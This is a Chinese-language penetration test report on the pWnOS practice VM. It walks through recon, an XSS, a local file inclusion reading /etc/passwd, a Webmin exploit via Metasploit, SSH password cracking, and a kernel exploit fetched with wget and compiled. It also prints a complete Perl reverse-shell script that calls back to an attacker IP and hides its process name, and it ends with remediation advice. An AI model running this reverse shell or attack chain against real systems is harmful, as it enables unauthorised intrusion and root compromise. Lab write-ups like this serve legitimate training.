pWnOS渗透测试

一、测试概述

1.1 测试目标

针对 pWnOS 靶机(IP:192.168.5.132)开展全维度黑盒渗透测试,覆盖 Web 应用层、系统服务层、权限提权等维度,挖掘高危漏洞并验证完整攻击链,评估靶机整体安全风险及防御短板。

1.2 测试范围

  • Web 应用层:index1.php 核心参数(help/connect/name)、表单交互逻辑、文件包含 / 执行漏洞;
  • 系统服务层:SSH(22)、HTTP(80)、Samba(139/445)、Webmin(10000)等开放服务的漏洞利用与权限突破;
  • 权限提权层:普通用户(vmware)到 root 权限的提权路径验证;
  • 敏感信息层:系统配置文件、用户凭证、服务漏洞利用脚本等。

1.3 测试工具与方法

工具 / 方法 用途
arp-scan 内网 IP 存活探测
Nmap 端口扫描、服务版本识别
searchsploit 漏洞利用脚本检索(Webmin/Samba)
浏览器(Chrome) 手工验证文件包含、XSS 漏洞
SSH 客户端 远程登录、提权操作
Python/ GCC 临时 HTTP 服务、恶意代码编译

1.4 测试时间

2026 年 01 月 15 日

二、漏洞发现与验证

2.1 存储型 XSS 漏洞(Name 输入框)

2.1.1 漏洞基本信息

项目 详情
漏洞位置 http://192.168.5.132/index1.php?help=true&connect=true 页面 Name 输入框
漏洞类型 存储型跨站脚本攻击(XSS)
风险等级 高危
影响范围 窃取用户 Cookie、伪造用户操作、钓鱼欺诈

2.1.2 漏洞原理与验证

Name 输入框未过滤<script>等危险标签,恶意 JS 代码持久化存储于页面。输入<script>alert(1)</script>提交后,页面弹窗且刷新后仍触发,验证为存储型 XSS。

2.2 本地文件包含漏洞(LFI,connect 参数)

2.2.1 漏洞基本信息

项目 详情
漏洞位置 http://192.168.5.132/index1.php?help=true&connect=XXX 中connect参数
漏洞类型 本地文件包含(Local File Inclusion)
风险等级 高危
影响范围 读取系统任意敏感文件、为代码执行铺路

2.2.2 漏洞原理与验证

connect参数直接拼接至 PHP include()函数,无路径校验。构造http://192.168.5.132/index1.php?help=true&connect=/etc/passwd,页面输出系统用户列表;无效参数触发include()报错,验证漏洞存在。

2.3 开放服务高危漏洞(Webmin/Samba/SSH)

2.3.1 Webmin(10000 端口)- 多版本漏洞暴露

项目 详情
服务版本 MiniServ 0.01(Webmin)
漏洞类型 远程代码执行(RCE)、目录遍历、权限提升、未授权访问
风险等级 高危
验证方式 通过searchsploit Webmin检索到 20 + 个利用脚本,涵盖:1. Webmin < 1.920 - 未授权远程代码执行(Metasploit);2. Webmin 0.91 - 目录遍历;3. Webmin 1.580 - 远程命令执行(CGI)

2.3.2 Samba(139/445 端口)- 版本漏洞

项目 详情
服务版本 Samba 3.0.26a
漏洞类型 远程代码执行(CVE-2007-2447)、未授权文件访问、信息泄露
风险等级 高危
验证方式 Nmap 扫描显示 Samba 3.0.26a 存在已知 RCE 漏洞,smbclient -L //192.168.5.132可枚举共享目录,匿名用户可访问

2.3.3 SSH(22 端口)- 弱口令登录 + 版本漏洞

项目 详情
服务版本 OpenSSH 4.6p1 Debian 5build1
漏洞类型 弱口令爆破、量子密钥交换算法漏洞、root 登录未禁用
风险等级 中高危
验证方式 1. 使用vmware/vmware弱口令成功 SSH 登录靶机;2. 登录后提示 “post-quantum key exchange algorithm” 漏洞,服务器存在算法降级风险

2.4 本地权限提权(vmware → root)

2.4.1 提权漏洞基本信息

项目 详情
初始权限 普通用户 vmware(UID=1000)
提权方式 内核漏洞利用(Ubuntu 2.6.22-14-server)
风险等级 高危

2.4.2 提权验证步骤

  1. 本地启动 Python 临时 HTTP 服务:python3 -m http.server 8000(存放提权 EXP:9545.c);
  2. 靶机(vmware 用户)下载 EXP:wget ``http://192.168.5.130:8000/9545.c;
  3. 编译 EXP:gcc -o exp 9545.c(仅报 “无换行符” 警告,不影响编译);
  4. 执行提权程序:./exp,成功获取 root 权限(id显示 uid=0 (root))。

三、漏洞发现及验证

3.1 信息收集

扫描网段下存活的主机,找到目标靶机的 ip 地址

img

端口扫描

使用 nmap -sS -sV -sC -p- 192.168.5.132

img

发现有两个 HTTP 协议的端口:80 和 10000

3.2 Web 层漏洞利用(主要 80 端口)

3.2.1 xss 漏洞

在主页面点击 post

img

进入的页面的 url 中的 name= 参数可以携带xss恶意语句

img

页面出现弹窗

img

3.2.2 任意文件读取

主页面的 url 中有一个 connect 参数,它会把后面的内容当作文件读取

将参数改为 false 他会回显报错

img

img

让他读取 /etc/passwd 目录

img

3.2 阶段 2:服务层突破

在 100000 端口的页面里发现他是一个 web 服务

img

对于 10000 端口的服务信息尝试搜索 Kali 本地缓存的历史漏洞

img

使用 msfconsole 进行进一步的渗透

img

img

选择第二个,因为第一个需要账号密码

发现可以看见 /etc/passwd

img

再看 /etc/shadow 找用户

img

使用找到的用户进行爆破

img

使用爆出来的账密ssh连接,因为前面有22端口开放

img

3.3 阶段 3:本地权限提权(root 权限获取)

3.3.1 使用内核提权

用 umane -a 检查系统内核版本

img

用 searchsploit 扫描版本漏洞

用脚本运行

img

把文件传到靶机上

开启一个 HTTP 服务,开启8000端口

img

在靶机上用 wget ``http://192.168.5.130:8000/9545.c 获取

再使用 gcc -o exp 9545.c 和 ./exp 执行脚本

最终 id 查看当前用户权限,已经是 root ,提权成功!

img

3.3.2 使用Webmin 反弹 Shell 提权

知道webmin有任意文件读取的漏洞,并且webmin以root权限执行的

img

可以在靶机上写入反弹shell,再利用文件读取漏洞使得反弹shell执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell. Change these.
my $ip = '192.168.5.131';
my $port = 4567;

# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}

setsid();
chdir('/');
umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}

写进1.cgi文件之后

改一下它的权限,使用 chmod +x 1.cgi

然后找到文件所在的路径

img

使用 msfconsole 改一下 rpath 的参数,让它执行 1.cgi 文件

img

记得在 kali 上开一个监听

监听到之后就可以提权成功

img

四、风险评估(新增提权维度)

漏洞类型 可利用性 影响程度 综合风险 核心危害
存储型 XSS 高 高 高危 持久化窃取用户信息、横向攻击
本地文件包含(LFI) 高 高 高危 读取系统核心配置、为代码执行铺路
Webmin 远程代码执行 高 高 高危 未授权远程控制靶机、权限提升
Samba 远程代码执行 高 高 高危 匿名访问共享文件、远程代码执行
SSH 弱口令 + 版本漏洞 中 高 中高危 暴力破解登录、算法漏洞导致密钥泄露
本地内核提权 高 极高 高危 普通用户直接获取 root 权限,完全控制靶机

整体风险等级:极高,靶机从 Web 层到系统层无有效防御,攻击者可通过 “Web 漏洞→服务登录→内核提权” 完整攻击链,在 5 分钟内获取 root 权限。

五、修复建议

5.1 Web 层漏洞修复

  1. XSS 漏洞:过滤危险标签 / 事件,输出转义特殊字符,启用 CSP 策略;
  2. LFI 漏洞:参数白名单限制(仅允许true/false),禁止include()处理用户可控参数,限制文件读取目录。

5.2 服务层安全加固

5.2.1 Webmin(10000 端口)

  • 立即升级至 Webmin 最新版本(≥2.101),修复已知 RCE / 权限提升漏洞;
  • 禁用公网访问,仅允许授权 IP 通过防火墙访问 10000 端口;
  • 启用双因素认证,设置复杂度≥12 位的管理员密码,禁止弱口令。

5.2.2 Samba(139/445 端口)

  • 升级 Samba 至≥4.17 版本,修复 CVE-2007-2447 等历史漏洞;
  • 禁用匿名访问,配置smb.conf限制共享目录权限(仅授权用户访问);
  • 关闭无用共享,启用 Samba 日志审计,监控异常访问。

5.2.3 SSH(22 端口)

  • 禁用 root 用户 SSH 登录,仅允许 vmware 等普通用户登录;
  • 强制使用密钥登录,关闭密码登录功能;
  • 升级 OpenSSH 至≥8.9 版本,修复量子密钥交换算法漏洞,禁用弱加密算法。

5.3 权限提权防御

  1. 系统内核升级:将 Ubuntu 内核从 2.6.22-14 升级至≥5.4 LTS 版本,修复内核提权漏洞;
  2. 用户权限控制:限制普通用户(如 vmware)的gcc/wget等工具使用权限,禁止普通用户编译执行未知代码;
  3. 安全审计:安装auditd监控setuid/setgid文件、内核模块加载、提权操作,及时告警异常行为。

5.4 通用安全加固

  1. 系统层面:定期更新系统补丁,删除无用用户 / 服务,关闭 139/445 等非必要端口;
  2. Web 层面:升级 PHP/Apache 至最新版本,关闭错误回显,配置 Web 应用防火墙(WAF);
  3. 应急响应:建立漏洞应急流程,发现提权 / 入侵行为时立即隔离靶机,备份关键数据。

六、测试总结

本次测试完整打通 pWnOS 靶机 “Web 漏洞→服务登录→内核提权” 攻击链:

  1. Web 层:存储型 XSS 可窃取用户信息,LFI 可读取系统核心配置;
  2. 服务层:Webmin/Samba 存在高危 RCE 漏洞,SSH 弱口令直接突破系统边界;
  3. 提权层:普通用户通过内核 EXP 可一键获取 root 权限,完全控制靶机。

靶机核心安全短板为缺乏输入过滤、服务版本老旧、权限控制缺失、弱口令泛滥,建议优先修复 LFI/XSS 等高风险 Web 漏洞,升级 Webmin/Samba/SSH 等服务版本,加固用户权限与内核安全,同时建立常态化漏洞扫描与安全审计机制,避免类似攻击重现。